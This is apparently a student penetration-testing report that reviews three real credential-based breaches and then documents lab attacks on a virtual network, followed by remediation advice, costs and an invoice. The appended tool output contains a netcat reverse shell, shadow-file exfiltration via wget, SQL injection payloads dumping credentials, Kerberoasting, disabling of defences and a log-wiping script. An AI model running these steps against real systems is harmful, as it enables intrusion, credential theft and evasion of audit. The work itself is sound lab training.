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	Introduction



	

Out of the attacks I researched the three presented in task one I chose because these are the attacks was able to find the most reliable information. Therefore, it was without any deliberate intention that they share the theme of valid user credentials. Despite this commonality the methods employed by the threat actors in each attack are unique.    

In task two I carried out three attacks on the virtual network. I decided to continue the theme of valid credentials from task one. 


  






	
	
	
	
	


  

	

	

	
	
	
	
	

	


  

	

	

	
	




	
	


	


	TASK 1





	Cyber Attack One



In August 2023 American clothing retailer Hot Topic notified its costumers of a data security incident [1]​. The notification states that third parties launched automated attacks against their website and mobile application using valid account credentials obtained from an unknown source.  

Hot Topic states in their notice that: 
“We are not able to determine which accounts were accessed by unauthorized third parties as opposed to legitimate customer logins during the relevant time periods” [1]​ one possible explanation for this could be the use of data harvested from keylogger trojan malware.   
Mike Nathan has noted “Cybercriminal bot attacks leveraging this user data may start to appear nearly indistinguishable from legitimate traffic “[2].     
One possible prevention would be a third-party bot detection service. In the Bureau of Internet and Technology Business Guide for Credential Stuffing Attacks it is noted
“One restaurant chain reported to the OAG that its bot detection vendor had blocked more than 271 million login attempts over a 17-month period” [3]. 
OWASPS credential stuffing prevention cheat sheet recommends that Multi-Factor Authentication is the best defence against this type of attack. However, the article goes on to note that usability must be considered [4]. 
Steven Rees-Pullman notes: 
“There is a range of different MFA options and the right one should be implemented based on the service that is being accessed and the type of user – whether it is SMS, a third-party authenticator app such as Google Authenticator, or user-friendly push notifications. Contextual rules for MFA can also be applied to reduce friction further, by making MFA required only when logins are made from new devices or after a certain number of login attempts” [5].

In the case of Hot Topic an overactive MFA service could detriment sales. Therefore, I would recommend an MFA service but with contextual rules as proposed by Steven Rees-Pulllman.
I would also recommend that Hot Topic invests in appropriate software to monitor customer activity. In the Bureau of Internet and Technology Business Guide for Credential Stuffing Attacks this is noted as the most effective safeguard against this attack. 


“Even sophisticated credential stuffing attacks have attack signatures that can be identified through analysis of customer activity. Most businesses should therefore have processes in place to systematically monitor customer traffic” [3]. 




[image: ]

Fig.1 Hot Topic attack – In this diagram an attacker 1 uses a website or database breach, Phishing attack, or a password dump site 2 to gather user credentials 3. The attacker then uses malicious software 4 to bombard the target website 5 with login requests using the credentials. One of the logins is accepted and the attacker can now access the users account 6 containing their information. 











	Cyber Attack Two




The British Library announced on X that they were continuing to experience a major technology outage because of a ransomware attack. The update states that the attackers might have copied user data and additional data appears to have been published on the dark web [6]​.     
According to the BBC’s coverage of the attack the Rhysida ransomware group claimed responsibility for the attack on Monday 20th November 2023 [7]. However, it would be difficult to verify if Rhysida were responsible with the current information available. 			
It could be argued that if a more secure method of data storage was in place the attack could have been prevented. Mateus-Coelho notes: 

“A ransomware attack, especially, would be ineffective against data that is stored on distributed ledger like the blockchain; it would be very difficult to restrict access to all the nodes on which the data is stored at the same time for the attack to have any semblance of success​” [8]. ​

In the ACSDAs advisory on Rhysida Ransomware it is noted “Rhysida actors have been observed leveraging external-facing remote services to initially access and persist within a network” [9] . 
The advisory goes on to state “Rhysida actors have commonly been observed authenticating to internal VPN access points with compromised valid credentials” [9].   
I would advise the British Library to configure the Account Use Policy to block logins from non-compliant devices or from outside defined organisation IP ranges. As suggested on the MITRE ATT&CK website in mitigation M1036 [10]. 
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Fig.2 British Library attack –1 Threat actors obtain valid credentials from a website or database breach, Phishing attack or a password dump site 2 The valid credentials are used to login via an external facing remote service such as a VPN. 3 Remote Desktop Connections and native network administrative tools are used to perform operations. Ipconfig, whoami, nltest and net commands are used for enumeration and information gathering.
4 Malicious software is saved in the file system. 5 The tools are used to extract files and to achieve network-wide encryption. 6 A ransom letter is delivered requesting for payment via Tor Browser in Bitcoin. The letter threatens to leak compromised data should the ransom not be paid.






	Cyber Attack Three




According to the BBC “A Booking.com spokesman said the company is aware that some of its accommodation partners are being targeted by hackers "using a host of known cyber-fraud tactics" [11]. 
Cyber Security company Perception Point have published a study focusing on the attack [12]. 
According to the study threat actors send a malware called infostealer to the hotels to gather admin credentials. Using these credentials, the threat actors send messages to customers from the hotel’s admin account. The messages ask the customer to submit their card details as a verification.
Then a link in the message directs the customer to a convincing phishing page made to look like a booking.com page. The phishing page contains those customers booking information gathered from the hotels account. Once the customer submits their card details, they are in the hands of the threat actors.  
The attack partly depends on a user within the hotel activating the infostealer malware. Perhaps Booking.com could have prevented the attack by providing its hotels with online cybersecurity training in which users are reminded not to download attachments received in emails. 
I would recommend that booking.com use a web application firewall to restrict access to each admin account to IP addresses used by the hotel. I would recommend that booking.com use Azure Front Door to achieve this and refer to the “Configure an IP restriction rule with a WAF for Azure Front Door” Microsoft Learn article [13].
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Fig.3 Booking.com attack - 1 The Attacker uses The Dark Web or Malware to gather the Booking.com login credentials for a hotel. 2 The Attacker logs in to the hotels Booking.com account. 3 From the account the attacker extracts customer information including booking details. 4 The attacker sends an email from the account prompting the user to re-enter their bank account information. A message on the booking.com app with the same content is also sent.
5 In the message there is a link to a phishing webpage. The page resembles booking.com and loads with the customers information. 6 The victim re-enters their card details triggering the fraudulent transaction. 7 The attacker is then able to harvest the victims card information.







	
TASK 2





	Network Topology
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Fig.4 Network Topology
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Fig.5 Network Topology – Domain and webhosting 







	Penetration Testing Framework and Tools




I have decided to follow the Information Systems Security Assessment Framework (ISSAF) [14] as a Penetration testing framework. The Framework includes 9 phases:

1. Information Gathering
2. Network Mapping
3. Vulnerability Identification
4. Penetration
5. Gaining Access & Privilege Escalation
6. Enumerating Further
7. Compromise Remote Users/Sites
8. Maintaining Access
9. Covering Tracks


 











































	Table 1
	Tools used to map the Network

	Nmap 

	Nmap: default script




	Table 2
	Tools used to identify vulnerabilities

	Metasploit Framework: snmp_enum

	Nmap: vuln script

	Nmap smb-protocols script

	Metasploit:  smb_version scanner

	Metasploit tcp_dcerpc_auditor scanner




	Table 3
	Tools used to penetrate the network

	Hydra

	Vncviewer

	TightVNC

	SQL Injection Code




	[bookmark: _Hlk155608077]Table 4
	Tools used to gain access and escalate privileges

	Netcat

	Pty.spawn

	SimpleHTTPServer

	wget

	John the ripper

	SSH

	GetUserSPNs.py

	Wmiexec.py

	Metasploit: hta_server

	Mshta.exe

	Metasploit: Metepreter: getsystem





















	           Table 5
	Tools used to enumerate further

	OWASP Dirbuster

	pwd

	ls

	cd

	Metasploit: Metepreter:  hashdump




	[bookmark: _Hlk155608208]           Table 6
	Tools used to maintain access

	Metasploit: Metepreter: metsvc




	         Table 7
	Tools used to cover tracks

	Bash script

	SCP

	Metasploit: Metepreter: timestomp 

	Metasploit: Metepreter: clearev


















































	Results of Vulnerability Scanning





I ran a nmap -sV scan on the bee-box machine. The -sV switch is used for service detection. Many open ports were found on the beebox machine.
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	Fig.6 Nmap scan of bee-box		

A hping to this device received a TTL of 64 which would indicate a linux operating system. The service info from the Nmap scan also detects linux.

























I carried out a further scan on open port 22 SSH. This time adding the -sC switch which runs the default script. This time the scan retrieved the host keys for OpenSSH.
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Fig.7 Nmap script scan of bee-box port 22




In the OpenSSH legacy documentation it states that OpenSSH 7.0 and greater similarly disable the ssh-dss (DSA) public key algorithm. It too is weak, and we recommend against its use. It can be re-enabled using the HostKeyAlgorithms configuration option.

I did the same scan on port 5901 used for VNC which revealed the security type:
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                Fig.8 Nmap script scan of bee-box port 5901




















I then ran the Metasploit auxiliary module snmp_enum this revealed the following:
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                       Fig.9 Metasploit snmp_enum scan of bee-box

I looked up sshd and found it is the OpenSSH server process which listens to incoming connections [15]. Further down the results Xvnc is listed.







Fig.10 Metasploit snmp_enum scan of bee-box part 2 [image: ]






I looked up Xvnc and found its Manual Page [16].  I learnt that vncviewer is used to access it and TightVNC is the heading on the left menu which implied that this was a synonym. And under the Bugs section it reads: “There are many security problems in current Xvnc implementation [16].”





 A nmap scan of the windows server 2019 machine reveals that port 8000 is open.
[image: ]


Fig.11 Nmap scan of Windows Server 2019 part 1



This scan also reveals that this machine is called CPCDC.
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Fig.12 Nmap scan of Windows Server 2019 part 2














The rows for ports 636, 3268 and 3269 reveal that Active Director is in use. The domain is called cpc.local.

[image: ]

Fig.13 Nmap scan of Windows Server 2019 part 3



I then used the Nmap Vuln script. Under port 443 the script reveals that the website is vulnerable to a sql injection.


[image: ]


			Fig.14 Nmap Vuln script scan of Windows Server 2019 



Using Inspect element in the browser I learnt that the login page uses the HTTP POST method from the Network tab.




The script also revealed that port 445 micorosft-ds was open. On the Microsoft learn website I found this port is associated with the SMB protocol [17].





I ran the smb-protocols nmap script on the Windows Server’s port 445 to see which protocols were used:
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Fig.15 Nmap smb-protocols script scan of Windows Server 2019






I also ran the msfconsole module scanner/smb/smb_version on the Windows Server:
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  Fig.16 Metasploit smb_version scan of Windows Server 2019




When I researched open port 135 msrpc I found this to be the remote procedure call [18].


I used the auxiliary module scanner/dcerpc/tcp_dcerpc/tcp_dcerpc_auditor to verify if the DCERPC service was accessible over a TCP port:



Access was granted.
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Fig.17 Metasploit tcp_dcerpc_auditor scan of Windows Server 2019


	Attack One






	Table 8: Vulnerabilities targeted in attack one. 


	SSH


	VNC

	Weak Passwords




	Table 9: Protocols involved in attack one

	SSH protocol

	VNC protocol

	HTTP






How the attack was launched

Penetration 

First, I used the Hydra Tool to attempt to crack the SSH password on bee-box. However, this approach didn’t work I received an error message. Next, I tried to crack the VNC:
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     Fig.18 Hydra 

This was successful.











Gaining Access & Privilege Escalation


I then used the username and password to log into vncviewer:
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		  Fig.19 Vncviewer	




Login was successful. In TightVNC I used id to check the uid information:
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Fig.20 TightVNC - id





I then used Netcat to establish a connection with the Beebox machine:
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 	Fig.21 Netcat – Listening port.










Back in TightVNC I used the following command:
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Fig.22 Connecting to the listening port from TightVNC.



I then checked the connection with id.
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Fig.23 Netcat – id command



I used the pty.spawn python script to spawn a shell.



[image: ]





Fig.24 pty.spawn.





I used the cat command to copy the contents of the shadow file to a text file:
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                                      Fig.25 Copying the shadow file with cat.






I started SimpleHTTPServer on the bee-box machine.   
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  Fig.26 SimpleHTTPServer


I used Wget to download the file:
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            Fig.27 File retrieval with wget



John the ripper was used to crack the hashes in the shadow file and return the passwords:

john –wordlist=/usr/share/wordlists/darkc0de.lst shadow
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                                                           Fig.28 Cracked passwords from John the ripper 1.
























I then used SSH to access the bee-box machine as the root user:
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              Fig.29 Accessing SSH




Enumerating Further

Once inside the beebox as root I enumerated further. I explored the file system by navigating through the directories with the cd and ls commands. I used the dirbuster application to enumerate the web directories of BWAPP. However, as I found nothing relating to CPC, I decided to skip compromising remote users/sites and maintain access.



Covering Tracks




I used the rm command to delete files:
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Fig.30 rm command









I wrote a bash script to clear the log files:
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                                                         Fig.31 bash script to clear log files


After going through the logs that recorded activity the script clears the bash history and removes itself.





I used scp to send my bash script echowipe.sh to the bee-box machine. 
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Fig.32 sending a file with scp. 



I then executed this script from the bee-box ssh session.






Why I recorded success or failure.

I was able to successfully compromise bee-box but the device itself didn’t contain any of CPC’s files or appear to be attached to its domain cpc.local. I will record this attack as unsuccessful.  
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Fig.33 Attack one diagram - 1 Hydra attempts to crack the password for SSH but fails. 2 Hydra cracks the password for VNC. 3 vncviewer is used to access TightVNC. 4 Bee-Box is connected to kali using netcat. 5 pty.spawn is used to spawn a shell. 6 Simpe HTTP Server is started on BeeBox. 7 Wget is used to extract the shadow file. 8 John is used to crack the root password. 9 The password is used to login to SSH.







	Attack Two






	Table 10: Vulnerabilities targeted in attack two 

	SQL injection vulnerability


	Open port 445 


	Weak passwords




	Table 11: Protocols involved in attack two

	HTTP

	SMB




How the attack was launched



Penetration

I injected the following SQL into the CPC website to determine the name of the users table.
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 Fig.34 SQL Injection 1 
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Fig.35 DVWA SQL Injection input field










This revealed the name of the users table to be users:
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Fig.36 SQL Injection output 1



I then injected the following code to retrieve the login credentials from the users table:
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   Fig.37 SQL Injection 2
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Fig.38 SQL Injection output 2










I formatted the usernames and password hashes and saved in a text file. Then I used John the ripper to crack the hashes.
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Fig.38 SQL Injection output 2





Using the credentials gathered for P.Parker I used GetUserSPNs.py to gather the following kerberos ticket.  
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Fig.39 GetUserSPNs.py


I used Hashcat to crack the hash and retrieve the password: MyPassword123#


Why I recorded success or failure.

I recorded success for this attack but there is still further work to do.
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Fig.40 Attack two diagram -1. Malicious SQL code is injected into the DVWA website. 2. The website responds with username and encrypted password for a user. 3. John the ripper is used to decrypt the hash. 4. The username and decrypted password are used to send a request via GetUserSPNs.py 5. The server responds with the kerberos service ticket. 6. Hascat is used to decrypt the password for the SQL Service.  










	Attack Three





	Table 11: Vulnerabilities targeted in attack two 

	Service Account


	Open Port 135




	Table 12: Protocols involved in attack two

	HTTP

	SMB








Gaining Access & Privilege Escalation



With the login and password for the SQLService gained in attack 2 I used wmiexec.py to login:
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Fig.41 wmiexec.py 


I created a new user and added the account to the administrators group:
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Fig.42 Using the Windows Server 2019’s command line with wmiexec.py


I logged back in through wmiexec.py as the created user:
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Fig.43 Logging back into wmiexec.py  











I disabled the firewall and real time protection with these commands:
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Fig.44 Disabling Firewall
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Fig.45 Disabling Real time protection.



I then used the hta_server exploit to begin serving a malicious web page.
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Fig.46 metasploit: hta_server


From wmiexec.py I opened that page using mshta.exe
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Fig.47 Using mshta.exe to connect to the payload.







This connected to the exploit.
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Fig.48 metasploit: hta_server whoami




I started a meterpreter session.
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Fig.49 metasploit: meterpreter


I used getsystem to elevate my privilege to the system level:

[image: ]

Fig.50 metasploit: meterpreter getsystem











Enumerating Further

I used the dir and ls commands to explore the file system. 

[image: ]

Fig.51 listing directories with dir. 
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Fig.52 Using ls, cd and downloading a file.



I downloaded the ConfidentialResearch.txt.txt file.


I used hashdump to dump the contents of the hashfile:

[image: ]

Fig.53 hashdump




Maintaining Access

To maintain access, I installed metsvc.


[image: ]

Fig.54 metsvc




Covering Tracks

I used timestomp with the -v option to change the MACE values for the downloaded file.


[image: ]

Fig.55 editing MACE values with timestomp.



Then I used the clearev command to wipe the application, system and security records:

[image: ]

Fig.56 Clearing records with clearev.



Why I recorded success or failure.


I recorded this attack as a success as I was able to complete each stage of the penetration testing framework.
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Fig.57 Attack three diagram

1. The SQLService account is used to access the Windows Server 2019 command line via wmiexec.py 2. On the command line a new admin user account is created. 3. The new administrator account logs in via wmiexec.py. 4. The firewall and real-time protection are disabled. 5 In MsfConsole the windows/misc/hta/server exploit is used to host a payload on port 8080. 6 mshta.exe is used to connect to the malicious URL. 7 A meterpreter session begins.  






	Recommended Solutions




Passwords

Hydra cracked the password to login to VNC on BeeBox. The BeeBox root account password was three letters long. John the ripper cracked the password for user P. Parker. Hashcat cracked the password for the SQLService.

My first recommendation is that CPC enforce a strict password policy. Based on the guidance in the CIS Password Policy Guide. [19] For the SQLService a particulary complicated password should be chosen. T.Osmeni notes “This can be enforced automatically using the group managed accounts within the AD (Active Directory) [20].”


To embed this into the work culture at CPC I will recommend that the company invests in cybersecurity training for all staff that it is mandatory to annually complete. 

SQL


Goodrich et al note “SQL injection vulnerabilities are the result of programmers failing to sanitize user input before using that input to construct database queries [21].”

I will propose to CPC that a new website is built using ASP.NET entity framework. In the new website some of the measures I will suggest will be building Custom Validator controls to ensure that data entered in the username and password fields are between a set number of characters long and the following are not permitted: binary data, escape sequences and comments. 

Transact-SQL statements won’t be built from user input and the parameters collection will be used to treat input as literal values. These measures are suggested in the guidance on the Microsoft Learn page focusing on relational database security [22].  


Network Monitoring

In their study An Early Detection Model for Kerberoasting Attacks and Dataset Labelling [23] Younisse et al used Wireshark to capture packets while carrying out a Kerberoasting attack. In reference to the reconnaissance phase of the attack they note: “133225 packets were sent to the AD server in 3 minutes, which means that the flow was around 37 packets/sec [23].” 


Therefore, I will recommend that CPCs network administrators download and instal Wireshark so should a brute force or kerberoasting take place they would be able to detect it. As an additional measure I will also be recommending Solarwinds Security Event Manager as this tool also offers real time responses to DOS and DDOS attacks as well [24].











Root Access

I will recommend that administrator access is changed to user access for the SQLService. I also recommend that it is not possible to access SSH as root on the Bee-Box machine. 



Software Updates

I will recommend the BeeBox Machine is updated to Ubuntu Pro which offers vulnerability management for critical, high, and selected medium CVE’s. 

I will also recommend the Server is updated to Windows Server 2022 and the two windows machines updated to Windows 11. 


[bookmark: _Hlk155535974]Webhosting

As an alternative to hosting their website on the domain controller server it would be more secure to host the website off site. This way CPC do not need to invest in a separate web server or invest in maintaining a high level of security on that server. 

I will therefore recommend that the website is hosted on AWS.  

Firewall configuration

Throughout the attack open ports were exploited. I will recommend that CPC invest in a Cisco Firepower 2100 NGFW Appliance firewall and that it is configured to not allow incoming connections on port 5901 of the Bee-Box machine. Ports 22, 445 and 135 should be configured to only allow connections from within CPCs internal IP address range.  

  
Additional Protection

I will also recommend an annual subscription to IBan pro [21]. This tool looks for failed login attempts and blocks the IP addresses where those logins originate from therefore it would aid CPC in stopping a brute force attack. 

[bookmark: _Hlk155535889]Duplicated functionality

On the BeeBox machine it is possible to login to the machine remotely using vnc and ssh. Arguably vncviewer and ssh are offering the same functionality. I will therefore recommend that only ssh is used.





 







	Table 13: Cost of Solutions

	Solution
	Cost

	Solar Winds Security Event Manager
	£4,255.00

	Ubuntu Pro
	£391.85 per year

	Windows Server 2022
	£837.76

	Microsoft 365 E3 (including Windows 11) x2
	£56.43

	Cisco Firepower 2100 NGFW Appliance
	£3711.56

	KnowBe4 Cybersecurity training
	£12.20 per year

	Total purchase:
	£8860.75

	Total Annual prescriptions:
	£404.05








































	Table 14: Timetable for execution of Solutions

	Week
	Date
	Time Block

	
	
	09:00-10:00
	10:00-11:00
	11:00-12:00
	13:00-14:00
	14:00-15:00
	15:00-16:00
	16:00-17:00

	1
	09/01/24
	Windows Server 2019 upgraded to Windows Server 2022
	Windows Server configuration
	Beebox upgraded to Ubuntu Pro
	Ubuntu Pro configuration
	Service account demoted to user

	
	10/01/24
	Windows 10 Upgraded to Windows 11 x2
	Windows 11 configuration
	New password policy added to AD
	All Passwords changed
	

	
	11/01/24
	Firewall Installation
	Firewall configuration
	Firewall rules implemented
	Cyber Security training for all staff 

	
	12/01/24
	Solar Winds Security Event Manager Installation
	Installation of Wireshark
	Uninstallation of VNC on Beebox
	Progress meeting with client

	2
	15/01/24
	Monitoring Network activity | Fixing bugs | responding to staff queries and feedback
	Website Redesign Project Part 1 – Further Development on proof of concept and hand over to client

	
	16/01/24
	
	

	
	17/01/24
	
	

	
	18/01/24
	
	

	
	19/01/24
	
	

	
	23/01/24
	
	

	
	24/01/24
	
	

	
	25/01/24
	
	

	
	26/01/24
	
	























	Table 15: Invoice





	UWTSD Cyber Security Ltd
[Transforming Cybersecurity, Transforming Lives]
	

	
From:
UWTSD Cyber Security Ltd
IQ Building
Swansea Waterfront
Swansea
SA1 8EW
2316422@sudent.uwtsd.ac.uk
	To:
Cureton Pharmaceutical Company Ltd
John Smith
CPC Pharmaceuticals Ltd
Swansea Waterfront
Swansea, 
SA1 8EW
cpc@msccdfuwtsd.ac.uk

	Invoice No: 001
Invoice Date: 04/01/2023
Due Date: 04/02/2023


	



		Item
	Description
	Hours
	Rate
	Total

	Planning and Preparation
	Information Gathering, Project Chartering, Resource Identification, Budgeting, Cash flow – pro forma preparation, work breakdown structure, project kick off, project planning  
	
37.5
	
£60
	
£2250

	Assessment
	Network Mapping, Vulnerability Identification, Penetration, Gaining Access, privilege escalation, further enumeration, maintaining access covering the tracks
	
37.5
	
£60
	
£2250

	Recommendation of solutions
	Following the assessment, the exploited vulnerabilities were researched and the solutions most suitable for the client were selected.
	
37.5
	
£60
	
£2250

	Treatment
	Following the selection of solutions an implementation plan will be designed and a weeklong schedule of work will be carried out
	37.5
	
£60

	
£2250

	Maintenance and consultancy
	Following the implementation of solutions, a weeklong program of maintenance and consultancy will take place. 
	
37.5
	
£60
	
£2250










	Invoice Summary

	Subtotal
	£11,250.00

	Total VAT
	£22,50.00

	Invoice Total
	£13500.00
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nmap -p- -5V 169.254.10.126

starting Nmap 7.94 ( https://nmap.org ) at 2023-12-15 09:49 GMT

Stats: 0:01:41 elapsed; 0 hosts completed (1 up), 1 undergoing Service Sc.
Service scan Timing: About 94.74% done; ETC: 09:51 (0:00:06 remaining)
Nmap scan report for 169.254.10.126

Host is up (0.00012s latency).

Not shown: 65516 closed tcp ports (reset)

PORT  STATE SERVICE  VERSION
21/tcp  open ftp ProfFTPD 1.3.1

22/tcp  open ssh OpenSSH 4.7p1 Debian Subuntul (protocol 2.0)
25/tcp  open smtp Postfix smtpd

80/tcp  open http Apache httpd 2.2.8 ((Ubuntu) DAV/2 mod_fastcgi

139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: ITSECGAMES)
443/tcp open ssl/http  Apache httpd 2.2.8 ((Ubuntu) DAV/2 mod_fastcgi,
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: ITSECGAMES)
512/tcp open exec netkit-rsh rexecd

513/tcp open login?

514/tcp open shell?

666/tcp open  doom?

3306/tcp open mysql MysQL 5.0.96-Oubuntu3

3632/tcp open distccd  distccd vi ((GNU) 4.2.3 (Ubuntu 4.2.3-2ubuntu?
5901/tcp open vnc VNC (protocol 3.8)

6001/tcp open  X11 (access denied)

8080/tcp open http nginx 1.4.0

8443/tcp open ssl/http  nginx 1.4

9080/tcp open http Lighttpd 1.4.19

9443/tcp open ssl/http  lighttpd 1.4.19

2 services unrecognized despite returning data. If you know the service/v
EXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY.
SF-Port513-TCP:V=7.94XI=7%D=12/15%T ime=657C214B%P=x86_64-pc-Linux-gnuXr(S!
SF:BProgheg, 1,"\x01" )xr(oracle-tns, 1, "\x01")xr(afp, 1, "\x01");
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$ nmap sV -SC -p 22 169.254.10.126

Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-20 16:45 GMT
Nmap scan report for 169.254.10.126

Host is up (0.00038s latency).

PORT  STATE SERVICE VERSION
22/tcp open ssh  OpensSH 4.7p1 Debian 8ubuntul (protocol 2.0)
| ssh-hostkey

| 1024 4 8 (DSA)
|_ 2048 63:e7:c5:d1:8d:8a:94:02:36:6a:d7:d2:75:€9:8b:ce (RSA)
Service Info: 05t Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap
Nmap done: 1 IP address (1 host up) scanned in 0.60 seconds
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5 nmap sV -SC -p 5901 169.254.10.126

Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-20 16:47 GNT
Nmap scan report for 169.254.10.126

Host is up (0.00042s latency).

PORT  STATE SERVICE VERSION
5901/tcp open vnc  WNC (protocol 3.8)
| vnc-info:

| Protocol version: 3.8
| security types
|- VNC Authentication (2)
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runnable sshd /usr/sbin/sshd
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5123 runnable Xvnc Xvnc :1 -desktop bee-box:1 (root) -auth /
root/.Xauthority -geometry 1024x768 -depth 16 -rfbwait 30000 -rfbauth /root/.vnc/passwd -rfb
5186 runnable vncconfig vncconfig -iconic
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8000/tcp open http Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12)
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Service Info: Hosts: CPCDC,
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636/tcp  open ssl/ldap  Microsoft Windows Active Directory LDAP (Domain: cpc.locale
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http-sql-injection:
Possible sqli for queries:
https://10.250.0.45:443/2C=MX3BOX3DA%27%200R%20sqlspider
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$ nmap —p 445 —script smb-protocols 10.:
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.250.0.45

Host is up (0.000745 latency).

PORT  STATE SERVICE
445/tcp open microsoft-ds

Host script results:

| smb-protocols:
| dialects:
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msf6 auxiliary(:conner/cob/snb version) > run

[+] 10.250.0.45:445 - SMB Detected (version
sion capabilities:LZNT1, Pattern V1) (encryption capabilities:AES-256-GCM) (signatures:required
) (guid:{c8af0094-4d12-4806-8ef6-670e5473729¢}) (authentication domain:CPC

[+] 10.250.0.45: - Scanned 1 of 1 hosts (100% complete)
[#] Auxiliary module execution completed

, 3) (preferred dialect:SM8 3.1.1) (compres
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msf6 auxiliary(scanner/dcerpc/tep_dcerpc_auditor) > run

10.250.0.45 ~ UUID 99fcfeck-5260-101b-bbcb-00aa0021347a 0.0 OPEN VIA 135 ACCESS GRANTED 00000000
000000000000000000000000000000000000000076070000

10.250.0.45 ~ UUID afa8bdB0-7d8a-11c9-bef.-08002b102989 1.0 OPEN VIA 135 ACCESS GRANTED 00000200
0c0000000c00000004000200080002000c0002001000020014000200130002001c000200200002002400020028000200
2C000200300002000883af e11f50c91191a40800214a0a0300000084650a000Sec F11a3c f00B05F68CH1001000100
26b5551037¢1c546ab79638f2a68869010000007F0bf eG4 F59e5345270b9a197577755401000000€6730ce6FIBBCF11
9100202 6e72402000000c4 fefc9960521b10bbch00aa0021347200000000609ee7b9523dce11aaal00006901293F
000002001242 f412aclce11abff0020af6e7a17000002003601000000000000c0000000000000460000000072¢e F3c
7eced111b71e00c04Fc3111a0100000008429 Fd1c7dc 11861000202 f6e7c570000000020010000000000000000000
000000460000000000000000

[*] 10.250.0.45:135 - Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed
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i PO cre)sls]

4 hydra -P /usr/share/metasploit-framework/data/wordlists/vnc_passwords.txt —s 5001 169.
254.10.126 vnc

iydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or
secret service organizations, or for illegal purposes (this is non-binding, these & igno
re laws and ethics anyway).

ydra (https://github.con/vanhauser-thc/thc-hydra) starting at 2023-12-19 10:27:40
[WARNING] you should set the number of parallel task to 4 for vnc services

[DATA] max 1 task per 1 server, overall 1 task, 1 login try (1:1/p:1), ~1 try per task
[DATA] attacking vnc://169.254.10.126:5001/

[5901][vnc] host: 169.254.10.126  password: password

[STATUS] attack finished for 169.254.10.126 (valid pair found)

1 of 1 target successfully completed, 1 valid password found

ydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-12-19 10:27:41
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—(peteS cpc)-[~]
—$ vncviewer 169.254.10.126::5901
onnected to RFB server, using protocol version 3.8
erforming standard VNC authentication
assword:
wthentication successful
esktop name "bee-box:1 (root)"
INC server default format:
16 bits per pixel.
Least significant byte first in each pixel.
True colour: max red 31 green 63 blue 31, shift red 11 green 5 blue 0
sing default colormap which is TrueColor. Pixel format:
32 bits per pixel.
Least significant byte first in each pixel.
True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
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root@bee-box:"™# 1d
(root) gid=0(root) groups=0(root)
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(pete® cpc)-[~]
L5 Tetcat -1p 6566
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root@bee-box:™ no -e /bin/sh 169.254,47.12 6556
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\petew cpc)-L~1
s hcat -1y oe6s

id
uid-0(root) gid=0(root) groups=0(root)
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-(pete® cpc)-[~]
Ly ncat ~1p soes
id
1id=0(root) gid=0(root) groups=0(root)
python ~c 'import pty; pty.spawn("/bin/bash”)"
rootabee-box:~# |
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(pete® cpc)-[~]
L et -1p es6s
1d
uid=0(root) gid=0(root) groups=0(root)
python ~c import pty; pty.spawn(”/bin/bash")
rootabee-box:~# cat /etc/shadow >> shadow.txt
cat /etc/shadow >> shadow.txt
rootabee-box:~2 |
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python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...




image28.png
[ Bete@cpe)-[=]

$ wget 169.254.10.126:8000/shadow

—-2023-12-19 10:45:43— http://169.254.10.126:8000/shadow
Connecting to 169.254.10.126:8000 ... connected.

HTTP request sent, awaiting response... 200 0K

Length: 3088 (3.0K) [application/octet-strean]

saving to: ‘shadow’

shadow 100%[

2023-12-19 10:45:48 (31.4 MB/s) - ‘shadow’ saved [3088/3088]

1

3.02K

—.—KB/s

in os
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ot @ cpo) -1
4 ssh ~oHostkeyAlgorithns=+ssh-dss root@l69.254.10.126

The authenticity of host '169.254.10.126 (169.254.10.126)' can't be established.
DSA key fingerprint is SHA256:cIVBOEyXCnCge5c/LEdbISO47TR2DSIKLY FD/deWypI.

This key is not known by any other names.

Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '169.254.10.126' (DSA) to the list of known hosts.
root169.254.10.126's password:

Last login: Mon Dec 18 13:22:42 2023 from 1.0

Linux bee-box 2.6.24-16-generic #1 SWP Thu Apr 10 13:

$42 UTC 2008 1686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/+/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http: //help.ubuntu.com/

rootabee-box:~# 1s

shadow shadow. txt

rootabee-box:~# cd /home

rootabee-box: /home# 1s

alice bee ftp johnny neo seleme thor wolverine
rootabee-box: /homez ||





image31.png
rootabee-box:~# ls
shadow  shadow. txt
rootabee-box:~# rm shadow shadow. txt
rootabee-box:~# |
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1
2
3ccho - /var/log/auth.log.0
4ccho - /var/log/daemon. log
5ccho - /var/log/daemon.10g.0
6cho - /var/log/debug

7ccho - /var/log/debug.o

8 cho - /var/log/kern.log

9 ccho > /var/log/kern.log.0

0 ccho > /var/log/mail.info
1:cho - /var/log/mail.info.0

2 <cho -+ /var/log/mail.log

3ccho - /var/log/mail.log.0
4ccho - /var/log/mail.varn
5cho - /var/log/messages

6 -cho - /var/log/messages.0

7 «cho > /var/log/scrollkeeper.log.2
8 -cho - /var/log/syslog

9 -cho -+ /var/log/syslog.0

0 <cho - /var/log/access.log
1-cho - /var/log/access.log.1

2 <cho - /var/log/error.log

3

4 history -c

5

6 rm — "$0°

g

bin/bash
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iy {eataiptialc]

$ scp ~oHostkeyAlgorithns=+ssh-dss /home/pete/echowipe.sh rootd169.254.10.126:/root
root@169.254.10.126's password:

echowipe. sh 100% 611  1.2M8/s
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%' and 1=0 union select null, table_name from information_schema.tables where table_name Like
"users'#|
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Vulnerability: SQL Injection

User ;] [Submit|
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ID: %' and 1.
First name
Surname: users

union sel
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%' and 10 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a, password) from
users |
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Ch303o6TolibbdelTedcressc/o0abas

union select null,

Surname: Bob
Smith

smithy

Cb3d356721100de1 feacfed2c79da038

